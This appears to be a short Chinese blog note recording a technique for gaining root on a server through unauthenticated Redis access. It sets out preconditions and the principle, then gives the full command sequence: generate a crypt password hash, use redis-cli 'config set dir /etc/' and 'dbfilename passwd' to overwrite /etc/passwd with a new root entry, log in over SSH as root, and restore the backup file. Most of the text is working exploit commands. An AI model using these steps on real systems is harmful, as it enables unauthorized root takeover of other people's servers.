学到个redis未授权访问getshell的新技巧,记录一下。
前提条件
- redis以root身份运行
- 目标系统允许root用户远程登录
原理
- 若/etc/passwd和/etc/shadow中同时存在密码,系统会使用/etc/passwd中的密码进行验证
- /etc/passwd-是/etc/passwd的备份,成功登录系统后,通过替换/etc/passwd-文件,可以恢复root用户的原密码
利用过程
- 首先生成一串密码为YourNewPasswd%1024的密文
root@kali:~# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
- 接下来写入/etc/passwd
redis-cli -h 192.168.80.147
config set dir /etc/
config set dbfilename passwd
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
save
- 写入完成后,使用root/YourNewPasswd%1024可成功连接ssh
- 最后再替换下/etc/passwd-,就又恢复成root用户的原密码了
[root@localhost ~]# cp /etc/passwd- /etc/passwd